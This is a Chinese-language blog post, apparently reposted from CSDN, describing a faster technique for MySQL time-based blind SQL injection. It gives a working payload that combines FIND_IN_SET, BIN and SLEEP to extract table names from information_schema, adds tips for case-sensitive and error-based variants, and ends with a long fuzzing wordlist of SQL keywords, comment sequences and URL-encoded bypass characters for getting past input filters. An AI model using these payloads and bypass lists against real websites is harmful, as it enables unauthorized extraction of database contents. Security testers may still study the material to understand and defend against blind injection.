MySQL盲注中提升猜解效率的新方法

正文

此方法比二分法、位推法等更好一点,
原文地址

查询请求代码示例:

AND (SELECT @a:=MID(BIN(FIND_IN_SET(MID(table_name,1,1), ‘a,b,c,d,e,f

,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,0,1,2,3,4,5,6,7,8,9,_,!,@,#,

$,%,^,&,*,(,),-,+,=,\,,.,,\’,~,`,\\,|,{
    
    ,},[,],:,;, ,)),1,1) FROM in

formation_schema.tables LIMIT 1)=@a AND IF(@a!=”,@a,SLEEP(5));

解释

1为正,0则为假,SLEEP(5)延时为空(表示为末位)。

原理可以参考原文,方法优点在于请求次数更少,不足在于不能确定大小写(MySQL字符串比较不区分)、SLEEP()用时过长等 等 。

很多可以优化的地方,如猜用户名只需要a-z0-9就一般够用了,密码这种区分大小写的得用CHAR()才行,像这样

FIND_IN_SET(CHAR(MID(table_name,1,1)), ’97,98,99′)SLEEP(3)

太费时间,可以考虑利用runtime报错(如1/0,escape®ex…),还有第一位根本不用猜解,肯定恒为1等 等 ,要想利用这技术这些都得考虑进去,不过总的来说这方法还是很犀利的,很佩服。

使用建议

小白目前也只是在自己搭的环境中具体的测试过,比目前的二分法使用比较方便。
再说一下,在具体实际中的运用,我们可以在sleep的时间上做更多的限制。
在进行字符测试的时候没有必要一下全部跑完,可以采用二分法的思想,进行猜解。
当然在遇到有字符过滤的时候还是需要先进行一下模糊测试的。
在这里附上自己用的fuzz

and
AND
&&
or
OR
xor
||
between
binary
|
&
=
like
LIKE
>
<
(
)
')
('
()
'
"
`
@
!
/*
*/
-
+
-- 
--
--+
#
\
;
;show databases;#
;show databases;%23
.
^
,
*,1
select
SELECT
union
UNION
order
by
from
where
database
limit
offset
information
schema
table
column
count
concat
group_concat
id
regexp
substr
mid
left
ascii
sleep
join
right
updatexml
extractvalue
exp
EXP
insert
into
delete
update
alter
create
all
distinct
not
as
desc
asc
having
floor
char
;%00
geometrycollection
polygon
multipoint
multilinestring
linestring
multipolygon
handler
having
version()
database()
user()
@@datadir
@@basedir
@@version_compile_os
@@hostname
@@global.secure_file_priv
%0a
%0d
%09
%df
%20
%23
%27
%'
%1$
CREATE
END
reverse
group
if
case
drop
for
relike
rlike
like
in
else
ord
chat
hex
is
is not
outfile
bin
substring

猜你喜欢

转载自blog.csdn.net/weixin_46250265/article/details/114174109